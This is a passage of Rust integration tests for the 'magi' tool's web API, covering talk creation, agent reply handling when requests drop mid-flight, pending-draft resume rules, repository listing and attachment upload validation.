5211    /// New work reaches the queue through `magi task add`, a standing talk's
5212    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
5213    /// so the compose form and that route are gone. The tests that covered
5214    /// that route's validation went with it, and nothing was left asserting
5215    /// it stays gone — so a re-added handler would silently let the phone
5216    /// file briefs no one validated.
5217    #[tokio::test]
5218    async fn a_task_cannot_be_filed_over_the_phone_directly() {
5219        let f = Fixture::start().await;
5220
5221        let res = f
5222            .post(
5223                "/api/queue",
5224                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5225            )
5226            .await;
5227
5228        assert_eq!(
5229            res.status, 405,
5230            "POST /api/queue must not be a route: {}",
5231            res.body
5232        );
5233        assert!(
5234            f.queue().list().is_empty(),
5235            "a task filed by a route that does not exist must not reach the disk"
5236        );
5237        // The path itself is still served — the Queue view reads it — and the
5238        // per-task controls are untouched by the entry being removed.
5239        assert_eq!(f.get("/api/queue").await.status, 200);
5240    }
5241
5242    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5243    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5244        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5245            .expect("checkout dir");
5246    }
5247
5248    #[tokio::test]
5249    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5250        let tmp = TempDir::new().expect("tempdir");
5251        let repo = tmp.path().join("repo");
5252        std::fs::create_dir_all(&repo).expect("repo dir");
5253        let root = tmp.path().join("root");
5254        make_checkout(&root, "github.com", "yukimemi", "magi");
5255        std::fs::write(
5256            repo.join("magi.toml"),
5257            format!(
5258                "[repos]\nroots = [{:?}]\n",
5259                root.to_string_lossy().into_owned()
5260            ),
5261        )
5262        .expect("write magi.toml");
5263
5264        let f = Fixture::with_repo(repo).await;
5265        let res = f.get("/api/repos").await;
5266        assert_eq!(res.status, 200, "{}", res.body);
5267        let list = res.json();
5268        let repos = list.as_array().expect("an array");
5269        assert_eq!(repos.len(), 1);
5270        assert_eq!(repos[0]["name"], "yukimemi/magi");
5271        assert!(
5272            repos[0]["path"]
5273                .as_str()
5274                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5275            "{list}"
5276        );
5277    }
5278
5279    #[tokio::test]
5280    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5281        let tmp = TempDir::new().expect("tempdir");
5282        let repo = tmp.path().join("repo");
5283        std::fs::create_dir_all(&repo).expect("repo dir");
5284        let root = tmp.path().join("root");
5285        make_checkout(&root, "github.com", "yukimemi", "magi");
5286        std::fs::write(
5287            repo.join("magi.toml"),
5288            format!(
5289                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5290                root.to_string_lossy().into_owned()
5291            ),
5292        )
5293        .expect("write magi.toml");
5294
5295        let f = Fixture::with_repo(repo).await;
5296        let first = f.get("/api/repos").await;
5297        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5298
5299        // A second checkout appears; within the TTL the cached answer must
5300        // not notice it.
5301        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5302        let second = f.get("/api/repos").await;
5303        assert_eq!(
5304            second.json().as_array().map(Vec::len),
5305            Some(1),
5306            "a fresh cache must not rescan inside the TTL"
5307        );
5308
5309        let refreshed = f.get("/api/repos?refresh=1").await;
5310        assert_eq!(
5311            refreshed.json().as_array().map(Vec::len),
5312            Some(2),
5313            "an explicit refresh must rescan even inside the TTL"
5314        );
5315    }
5316
5317    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5318    /// string, declared straight in a repository's own `magi.toml` rather
5319    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5320    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
5321    /// this is safe to run over a real HTTP round trip.
5322    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5323
5324    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5325    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5326    /// even though it takes no turn, and `talk_say` invokes one.
5327    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5328        let tmp = TempDir::new().expect("tempdir");
5329        let repo = tmp.path().join("repo");
5330        std::fs::create_dir_all(&repo).expect("repo dir");
5331        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5332        let f = Fixture::with_repo(repo.clone()).await;
5333        (tmp, repo, f)
5334    }
5335
5336    #[tokio::test]
5337    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5338        let (_tmp, _repo, f) = talk_fixture().await;
5339
5340        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5341        // is the ordinary way a phone opens a talk.
5342        let opened = f.post("/api/talks", None).await;
5343        assert_eq!(opened.status, 201, "{}", opened.body);
5344        let body = opened.json();
5345        assert_eq!(body["status"], "open");
5346        assert_eq!(
5347            body["turns"].as_array().unwrap().len(),
5348            0,
5349            "opening takes no agent turn: there is nothing yet to answer"
5350        );
5351
5352        // An explicit empty object is the same request as none at all.
5353        let also_opened = f.post("/api/talks", Some("{}")).await;
5354        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5355
5356        let listed = f.get("/api/talks").await.json();
5357        assert_eq!(listed.as_array().unwrap().len(), 2);
5358    }
5359
5360    #[tokio::test]
5361    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5362        let f = Fixture::start().await;
5363        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5364        let queue = f.queue();
5365        let mut mine = Task::new(
5366            "rename the loader".to_owned(),
5367            "rename the loader".to_owned(),
5368            PathBuf::from("/repo/magi"),
5369            Source::Agent {
5370                run: talk_id.clone(),
5371                node: "chat".to_owned(),
5372            },
5373        );
5374        queue.put(&mut mine).expect("file the task");
5375        let mut theirs = Task::new(
5376            "unrelated".to_owned(),
5377            "unrelated".to_owned(),
5378            PathBuf::from("/repo/magi"),
5379            Source::Human,
5380        );
5381        queue.put(&mut theirs).expect("file the task");
5382
5383        let res = f.get(&format!("/api/talks/{talk_id}")).await;
5384        assert_eq!(res.status, 200, "{}", res.body);
5385        let body = res.json();
5386        assert_eq!(
5387            body["status"], "open",
5388            "filing a task does not close a talk"
5389        );
5390        let tasks = body["tasks"].as_array().expect("tasks array");
5391        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5392        assert_eq!(tasks[0]["id"], mine.id);
5393    }
5394
5395    #[tokio::test]
5396    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5397        let (_tmp, _repo, f) = talk_fixture().await;
5398        let id = f.post("/api/talks", None).await.json()["id"]
5399            .as_str()
5400            .expect("id")
5401            .to_owned();
5402
5403        let res = f
5404            .post(
5405                &format!("/api/talks/{id}/say"),
5406                Some(r#"{"text":"what does the queue module do?"}"#),
5407            )
5408            .await;
5409        assert_eq!(res.status, 202, "{}", res.body);
5410        let queued = res.json();
5411        let turns = queued["turns"].as_array().expect("turns array");
5412        assert_eq!(
5413            turns.len(),
5414            1,
5415            "the answer reflects only what is on disk the instant it is sent, \
5416             before the agent's turn - which can run for the whole of \
5417             `[graph] timeout_talk` - has a chance to land: {queued}"
5418        );
5419        assert_eq!(turns[0]["who"], "operator");
5420        assert_eq!(turns[0]["body"], "what does the queue module do?");
5421        assert_eq!(
5422            queued["thinking"], true,
5423            "the accepted response exposes the background turn claim: {queued}"
5424        );
5425
5426        let mut turns_after = 1;
5427        for _ in 0..SETTLE_STEPS {
5428            let detail = f.get(&format!("/api/talks/{id}")).await.json();
5429            turns_after = detail["turns"].as_array().expect("turns array").len();
5430            if turns_after == 2 {
5431                break;
5432            }
5433            tokio::time::sleep(Duration::from_millis(10)).await;
5434        }
5435        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5436    }
5437
5438    /// A phone that reloads mid-request drops `talk_say`'s whole handler
5439    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
5440    /// guards against: `talk::record` used to return, and only *then* did the
5441    /// handler make a second, separate disk round trip before spawning the
5442    /// agent's reply task. A future dropped in that gap left a message
5443    /// recorded on disk with no reply task ever started and no way back short
5444    /// of a fresh message - and the gap was not even the whole story: *any*
5445    /// `.await` in this handler, including the very first one, is a point
5446    /// where a drop can land after the awaited work already finished but
5447    /// before this handler's own code resumes to act on it. `record` now
5448    /// runs inside the task `tokio::spawn` hands to the runtime before this
5449    /// handler ever awaits anything of its own again, so there is nothing
5450    /// left in *this* handler's future for a disconnect to interrupt between
5451    /// the message landing on disk and the reply task starting.
5452    ///
5453    /// A real socket disconnect cannot be relied on to land in the old gap
5454    /// from a test - over loopback, `talk_say` typically finishes before the
5455    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
5456    /// same failure mode directly: it drops the task's future at whatever
5457    /// point it has reached, exactly what axum does to the handler future,
5458    /// without needing to win a real network race. Sweeping the delay before
5459    /// aborting samples a range of points the task's execution can be at,
5460    /// including where the old code sat waiting on its second disk round
5461    /// trip - confirmed by reverting this fix locally and watching this same
5462    /// sweep catch a talk stuck with the operator's turn recorded and no
5463    /// reply ever following.
5464    #[tokio::test]
5465    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5466        let tmp = TempDir::new().expect("tempdir");
5467        let repo = tmp.path().join("repo");
5468        std::fs::create_dir_all(&repo).expect("repo dir");
5469        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5470        let home = TempDir::new().expect("temp home");
5471        let talks = Talks::at(home.path().join("talks"));
5472        let ui = Arc::new(
5473            Ui::new(
5474                Queue::at(home.path().join("queue")),
5475                Questions::at(home.path().join("questions")),
5476                talks.clone(),
5477                home.path().join("runs"),
5478                home.path().to_path_buf(),
5479                repo.clone(),
5480            )
5481            .with_worktrees_root(home.path().join("wt")),
5482        );
5483        let cfg = config_for(&repo).await.expect("discover config");
5484
5485        for delay in 0..40u32 {
5486            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5487            let id = talk.id.clone();
5488
5489            let handler = tokio::spawn(talk_say(
5490                State(Arc::clone(&ui)),
5491                Path(id.clone()),
5492                Ok(Json(NewTalkTurn {
5493                    text: "what does the queue module do?".to_owned(),
5494                    attachments: Vec::new(),
5495                })),
5496            ));
5497            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5498            handler.abort();
5499            // Wait out the abort so the next iteration's talk does not race
5500            // this one's still-unwinding turn guard.
5501            let _ = handler.await;
5502
5503            let mut turns = 0;
5504            for _ in 0..SETTLE_STEPS {
5505                if let Ok(fresh) = talks.get(&id) {
5506                    turns = fresh.turns.len();
5507                    if turns != 1 {
5508                        break;
5509                    }
5510                }
5511                tokio::time::sleep(Duration::from_millis(10)).await;
5512            }
5513            assert_ne!(
5514                turns, 1,
5515                "delay {delay}: talk {id} recorded the operator's turn but \
5516                 the agent never answered - the reply task was never \
5517                 started after the handler future was dropped"
5518            );
5519        }
5520    }
5521
5522    /// The same drop, landing on `talk_say`'s other durable write.
5523    ///
5524    /// When a turn is already running, the busy branch persists the
5525    /// operator's text as a queued draft and then reclaims the turn slot if
5526    /// the holder gave it up in the meantime - and whoever reclaims owes that
5527    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
5528    /// which finishes whether or not the future awaiting it is still there,
5529    /// so a handler dropped at that `.await` used to leave the draft written
5530    /// to disk with the reclaimed guard dropped unread and no drainer ever
5531    /// started: the message sat queued until some unrelated later `say`
5532    /// happened to pick it up.
5533    ///
5534    /// This used to drive the handler future by hand, polling it a fixed
5535    /// number of times to park it at the `.await` where it asks for the turn
5536    /// and finds it busy, before the reclaim's slot-free case could be set up
5537    /// underneath it. That assumed a fixed number of polls lands at a fixed
5538    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
5539    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
5540    /// poll, so any number of this handler's several `blocking` awaits can
5541    /// collapse into one poll under load, landing the drive somewhere other
5542    /// than intended - including, occasionally, straight past the handler's
5543    /// own completion, which made polling it again panic with "async fn
5544    /// resumed after completion". No poll count fixes that; the handler's
5545    /// progress simply is not something a caller outside it can observe by
5546    /// counting.
5547    ///
5548    /// [`BusyQueueGate`] replaces the poll count with a real stop point
5549    /// inside the write itself, so the interleaving under test is pinned by
5550    /// an event instead of a guess: the gate fires only once the handler has
5551    /// actually decided `Busy` and is about to persist the draft, and it
5552    /// blocks that write until the test lets it through. Between those two
5553    /// moments the test drains the turn the handler found busy - through
5554    /// `drain_loop`, the protocol's other half - and then aborts the handler
5555    /// task outright, the same way axum drops a disconnected request's
5556    /// future. The write, and the reclaim it may do, run to completion
5557    /// regardless: they live in the `tokio::spawn` task the busy branch hands
5558    /// to the runtime before ever touching the gate, wholly independent of
5559    /// whether the handler that started it is still around - which is what
5560    /// this test is actually checking. A drainer other than that reclaim
5561    /// cannot exist here: the test's own `drain_loop` call happens before the
5562    /// gate opens, so it runs while the queue is still empty and hands the
5563    /// turn straight back rather than draining anything, closing off the
5564    /// possibility of the final assertion passing without the reclaim ever
5565    /// having done its job.
5566    #[tokio::test]
5567    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
5568        let tmp = TempDir::new().expect("tempdir");
5569        let repo = tmp.path().join("repo");
5570        std::fs::create_dir_all(&repo).expect("repo dir");
5571        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5572        let home = TempDir::new().expect("temp home");
5573        let talks = Talks::at(home.path().join("talks"));
5574        let ui = Arc::new(
5575            Ui::new(
5576                Queue::at(home.path().join("queue")),
5577                Questions::at(home.path().join("questions")),
5578                talks.clone(),
5579                home.path().join("runs"),
5580                home.path().to_path_buf(),
5581                repo.clone(),
5582            )
5583            .with_worktrees_root(home.path().join("wt")),
5584        );
5585        let cfg = config_for(&repo).await.expect("discover config");
5586
5587        for attempt in 0..3u32 {
5588            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5589            let id = talk.id.clone();
5590            // A turn is already running, which is what sends `talk_say` down
5591            // the busy branch.
5592            let turn_guard = ui
5593                .begin_talk_turn(&id)
5594                .expect("claim the turn")
5595                .expect("a fresh talk owes nobody a turn");
5596
5597            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
5598            let (release_tx, release_rx) = std::sync::mpsc::channel();
5599            ui.set_busy_queue_gate(BusyQueueGate {
5600                reached: reached_tx,
5601                release: release_rx,
5602            });
5603
5604            let handler = tokio::spawn(talk_say(
5605                State(Arc::clone(&ui)),
5606                Path(id.clone()),
5607                Ok(Json(NewTalkTurn {
5608                    text: "what does the queue module do?".to_owned(),
5609                    attachments: Vec::new(),
5610                })),
5611            ));
5612
5613            // Wait for the busy branch to actually reach the gate, rather
5614            // than for any fixed number of polls of anything - a bounded
5615            // wait rather than a bare `.await` so a regression that never
5616            // reaches the gate fails the test instead of hanging it.
5617            tokio::time::timeout(Duration::from_secs(5), reached_rx)
5618                .await
5619                .unwrap_or_else(|_| {
5620                    panic!(
5621                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
5622                    )
5623                })
5624                .expect("the busy branch dropped the gate without using it");
5625
5626            // The turn that was running now finishes and gives the slot up
5627            // the way a real one does - through `drain_loop`, which finds
5628            // nothing queued yet (the write is still held at the gate) and
5629            // releases. The handler, parked inside `spawn_blocking` on the
5630            // other side of the gate, still believes the talk is busy -
5631            // exactly the interleaving the reclaim exists for.
5632            let running = talks.get(&id).expect("reload talk");
5633            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
5634
5635            // Drop the handler future now, the way a reloading phone drops
5636            // it: suspended waiting on the busy branch's answer, having
5637            // itself made no more progress since it handed the write off.
5638            handler.abort();
5639            let _ = handler.await;
5640
5641            // Only now let the gated write proceed. It persists the draft
5642            // and reclaims the now-free slot from inside the task the busy
5643            // branch already spawned - unaffected by the handler's abort
5644            // above, since that task was independent of the handler's own
5645            // future from the moment it was spawned.
5646            let _ = release_tx.send(());
5647
5648            // A settled talk: the draft drained into an operator turn and
5649            // answered.
5650            let mut fresh = talks.get(&id).expect("reload talk");
5651            for _ in 0..SETTLE_STEPS {
5652                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
5653                    break;
5654                }
5655                tokio::time::sleep(Duration::from_millis(10)).await;
5656                fresh = talks.get(&id).expect("reload talk");
5657            }
5658            assert!(
5659                fresh.pending.is_empty() && fresh.turns.len() == 2,
5660                "attempt {attempt}: talk {id} left the operator's text queued \
5661                 with no drainer - the reclaimed turn was dropped along with \
5662                 the handler future (pending {:?}, {} turns)",
5663                fresh.pending,
5664                fresh.turns.len()
5665            );
5666        }
5667    }
5668
5669    #[tokio::test]
5670    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
5671        let (_tmp, _repo, f) = talk_fixture().await;
5672        let id = f.post("/api/talks", None).await.json()["id"]
5673            .as_str()
5674            .expect("id")
5675            .to_owned();
5676        let store = f.talks();
5677        let mut recovered = store.get(&id).expect("opened talk");
5678        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5679            .expect("persist pending draft without a live turn");
5680
5681        let edited = f
5682            .post(
5683                &format!("/api/talks/{id}/pending/edit"),
5684                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
5685            )
5686            .await;
5687        assert_eq!(edited.status, 200, "{}", edited.body);
5688        assert!(edited.json()["thinking"].as_bool().unwrap());
5689
5690        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
5691        for _ in 0..SETTLE_STEPS {
5692            if detail["turns"].as_array().expect("turns").len() == 2 {
5693                break;
5694            }
5695            tokio::time::sleep(Duration::from_millis(10)).await;
5696            detail = f.get(&format!("/api/talks/{id}")).await.json();
5697        }
5698        let turns = detail["turns"].as_array().expect("turns");
5699        assert_eq!(
5700            turns.len(),
5701            2,
5702            "the recovered draft must run once: {detail}"
5703        );
5704        assert_eq!(turns[0]["body"], "corrected");
5705        assert_eq!(detail["pending"], "");
5706    }
5707
5708    #[tokio::test]
5709    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
5710        let tmp = TempDir::new().expect("tempdir");
5711        let repo = tmp.path().join("repo");
5712        std::fs::create_dir_all(&repo).expect("repo dir");
5713        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5714        let f = Fixture::with_repo(repo).await;
5715        let id = f.post("/api/talks", None).await.json()["id"]
5716            .as_str()
5717            .expect("id")
5718            .to_owned();
5719        let store = f.talks();
5720        let mut recovered = store.get(&id).expect("opened talk");
5721        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
5722            .expect("persist pending draft without a live turn");
5723
5724        let refused = f
5725            .post(
5726                &format!("/api/talks/{id}/say"),
5727                Some(r#"{"text":"new message"}"#),
5728            )
5729            .await;
5730        assert_eq!(refused.status, 409, "{}", refused.body);
5731        assert!(refused.body.contains("resume"), "{}", refused.body);
5732        let saved = store.get(&id).expect("draft remains after refusal");
5733        assert!(saved.turns.is_empty());
5734        assert_eq!(saved.pending, "saved before restart");
5735
5736        let say_path = format!("/api/talks/{id}/say");
5737        let (first, second) = tokio::join!(
5738            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
5739            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
5740        );
5741        assert_eq!(first.status, 409, "{}", first.body);
5742        assert_eq!(second.status, 409, "{}", second.body);
5743        let saved = store
5744            .get(&id)
5745            .expect("draft remains after concurrent refusals");
5746        assert!(saved.turns.is_empty());
5747        assert_eq!(saved.pending, "saved before restart");
5748
5749        let resumed = f
5750            .post(&format!("/api/talks/{id}/pending/resume"), None)
5751            .await;
5752        assert_eq!(resumed.status, 202, "{}", resumed.body);
5753        let duplicate = f
5754            .post(&format!("/api/talks/{id}/pending/resume"), None)
5755            .await;
5756        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
5757
5758        for _ in 0..SETTLE_STEPS {
5759            if store.get(&id).expect("talk").turns.len() == 2 {
5760                break;
5761            }
5762            tokio::time::sleep(Duration::from_millis(10)).await;
5763        }
5764        let finished = store.get(&id).expect("finished talk");
5765        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5766        assert_eq!(finished.turns[0].body, "saved before restart");
5767        assert!(finished.pending.is_empty());
5768    }
5769
5770    #[tokio::test]
5771    async fn an_image_only_recovered_draft_resumes_without_text() {
5772        let (_tmp, _repo, f) = talk_fixture().await;
5773        let id = f.post("/api/talks", None).await.json()["id"]
5774            .as_str()
5775            .expect("id")
5776            .to_owned();
5777        let uploaded = f
5778            .post_bytes(
5779                &format!("/api/talks/{id}/attachments"),
5780                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
5781                PNG_BYTES,
5782            )
5783            .await;
5784        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
5785        let attachment = f
5786            .talks()
5787            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
5788            .expect("attachment metadata")
5789            .expect("stored attachment");
5790        let store = f.talks();
5791        let mut recovered = store.get(&id).expect("opened talk");
5792        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
5793
5794        let resumed = f
5795            .post(&format!("/api/talks/{id}/pending/resume"), None)
5796            .await;
5797        assert_eq!(resumed.status, 202, "{}", resumed.body);
5798        for _ in 0..SETTLE_STEPS {
5799            if store.get(&id).expect("talk").turns.len() == 2 {
5800                break;
5801            }
5802            tokio::time::sleep(Duration::from_millis(10)).await;
5803        }
5804        let finished = store.get(&id).expect("finished talk");
5805        assert_eq!(finished.turns.len(), 2, "{finished:?}");
5806        assert!(finished.turns[0].body.is_empty());
5807        assert_eq!(finished.turns[0].attachments.len(), 1);
5808        assert!(finished.pending_attachments.is_empty());
5809    }
5810
5811    #[tokio::test]
5812    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
5813        let (_tmp, _repo, f) = talk_fixture().await;
5814        let id = f.post("/api/talks", None).await.json()["id"]
5815            .as_str()
5816            .expect("id")
5817            .to_owned();
5818        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
5819        assert_eq!(closed.status, 200, "{}", closed.body);
5820        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5821            .expect("serialize closed talk");
5822        for (path, body) in [
5823            (format!("/api/talks/{id}/pending/resume"), None),
5824            (
5825                format!("/api/talks/{id}/pending/clear"),
5826                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
5827            ),
5828            (
5829                format!("/api/talks/{id}/pending/edit"),
5830                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
5831            ),
5832            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
5833        ] {
5834            let response = f.post(&path, body).await;
5835            assert_eq!(response.status, 409, "{}", response.body);
5836        }
5837        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
5838            .expect("serialize closed talk");
5839        assert_eq!(
5840            after_clear, before_clear,
5841            "clear must not rewrite a closed talk"
5842        );
5843    }
5844
5845    /// Keeps both claims observable long enough to exercise the distinction
5846    /// between one busy talk and a globally locked Chat surface.
5847    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
5848
5849    #[tokio::test]
5850    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
5851        let tmp = TempDir::new().expect("tempdir");
5852        let repo = tmp.path().join("repo");
5853        std::fs::create_dir_all(&repo).expect("repo dir");
5854        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
5855        let f = Fixture::with_repo(repo).await;
5856        let id_a = f.post("/api/talks", None).await.json()["id"]
5857            .as_str()
5858            .unwrap()
5859            .to_owned();
5860        let id_b = f.post("/api/talks", None).await.json()["id"]
5861            .as_str()
5862            .unwrap()
5863            .to_owned();
5864
5865        let a = f
5866            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
5867            .await;
5868        assert_eq!(a.status, 202, "{}", a.body);
5869        assert_eq!(a.json()["thinking"], true);
5870        let b = f
5871            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
5872            .await;
5873        assert_eq!(b.status, 202, "{}", b.body);
5874        assert_eq!(b.json()["thinking"], true);
5875
5876        let listed = f.get("/api/talks").await.json();
5877        for id in [&id_a, &id_b] {
5878            let view = listed
5879                .as_array()
5880                .unwrap()
5881                .iter()
5882                .find(|talk| talk["id"] == *id)
5883                .unwrap();
5884            assert_eq!(view["thinking"], true, "{listed}");
5885        }
5886        let repeated = f
5887            .post(
5888                &format!("/api/talks/{id_a}/say"),
5889                Some(r#"{"text":"again"}"#),
5890            )
5891            .await;
5892        assert_eq!(repeated.status, 202, "{}", repeated.body);
5893        assert_eq!(repeated.json()["pending"], "again");
5894    }
5895
5896    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
5897    /// few more, since real uploads are never exactly eight bytes.
5898    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
5899
5900    #[tokio::test]
5901    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
5902        let f = Fixture::start().await;
5903        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
5904
5905        let res = f
5906            .post_bytes(
5907                &format!("/api/talks/{id}/attachments"),
5908                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
5909                PNG_BYTES,
5910            )
5911            .await;
5912        assert_eq!(res.status, 201, "{}", res.body);
5913        let body = res.json();
5914        assert_eq!(body["name"], "shot.png");
5915        assert_eq!(body["mime"], "image/png");
5916        assert_eq!(body["bytes"], PNG_BYTES.len());
5917        let att_id = body["id"].as_str().expect("id").to_owned();
5918        assert_eq!(
5919            att_id.len(),
5920            32,
5921            "the id must never be a client-suppliable path: {att_id}"
5922        );
5923
5924        let got = f
5925            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
5926            .await;
5927        assert_eq!(got.status, 200, "{}", got.body);
5928        assert_eq!(got.header("content-type"), Some("image/png"));
5929        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
5930        assert_eq!(got.bytes, PNG_BYTES);
5931    }
5932
5933    #[tokio::test]
5934    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
5935        let f = Fixture::start().await;
5936        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
5937
5938        // SVG can carry a `<script>`, so it is never on the whitelist even
5939        // though it is a real IANA image type.
5940        let svg = f
5941            .post_bytes(
5942                &format!("/api/talks/{id}/attachments"),
5943                &[("Content-Type", "image/svg+xml")],
5944                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
5945            )
5946            .await;
5947        assert!(
5948            (400..500).contains(&svg.status),
5949            "svg must be refused: {} {}",
5950            svg.status,
5951            svg.body
5952        );
5953        assert!(svg.body.contains("SVG"), "{}", svg.body);
5954
5955        let text = f
5956            .post_bytes(
5957                &format!("/api/talks/{id}/attachments"),
5958                &[("Content-Type", "text/plain")],
5959                b"just some text",
5960            )
5961            .await;
5962        assert!(
5963            (400..500).contains(&text.status),
5964            "an unlisted type must be refused: {} {}",
5965            text.status,
5966            text.body
5967        );
5968
5969        // The declared type is a real png, but the size check runs before
5970        // the bytes are even looked at.
5971        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
5972        let big = f
5973            .post_bytes(
5974                &format!("/api/talks/{id}/attachments"),
5975                &[("Content-Type", "image/png")],
5976                &oversized,
5977            )
5978            .await;
5979        assert_eq!(
5980            big.status,
5981            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
5982            "{}",
5983            big.body
5984        );
5985    }
5986
5987    #[tokio::test]
5988    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
5989        let f = Fixture::start().await;
5990        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
5991
5992        // A whitelisted `Content-Type`, but bytes that are not actually a
5993        // png - the declared header alone is never trusted.
5994        let res = f
5995            .post_bytes(
5996                &format!("/api/talks/{id}/attachments"),
5997                &[("Content-Type", "image/png")],
5998                b"<html>not a picture</html>",
5999            )
6000            .await;
6001        assert!((400..500).contains(&res.status), "{}", res.body);
6002    }
6003
6004    #[tokio::test]
6005    async fn an_unknown_attachment_id_is_a_404() {
6006        let f = Fixture::start().await;
6007        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6008
6009        let res = f
6010            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6011            .await;
6012        assert_eq!(res.status, 404, "{}", res.body);
6013    }
6014
6015    #[tokio::test]
6016    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6017        let f = Fixture::start().await;
6018        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6019
6020        let uploaded = f
6021            .post_bytes(
6022                &format!("/api/talks/{id}/attachments"),
6023                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6024                PNG_BYTES,
6025            )
6026            .await;
6027        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6028        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6029
6030        let res = f
6031            .post(
6032                &format!("/api/talks/{id}/say"),
6033                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6034            )
6035            .await;
6036        assert_eq!(res.status, 202, "{}", res.body);
6037        let queued = res.json();
6038        let turns = queued["turns"].as_array().expect("turns array");
6039        assert_eq!(
6040            turns.len(),
6041            1,
6042            "an empty body with an attachment is still a turn: {queued}"
6043        );
6044        assert_eq!(turns[0]["who"], "operator");
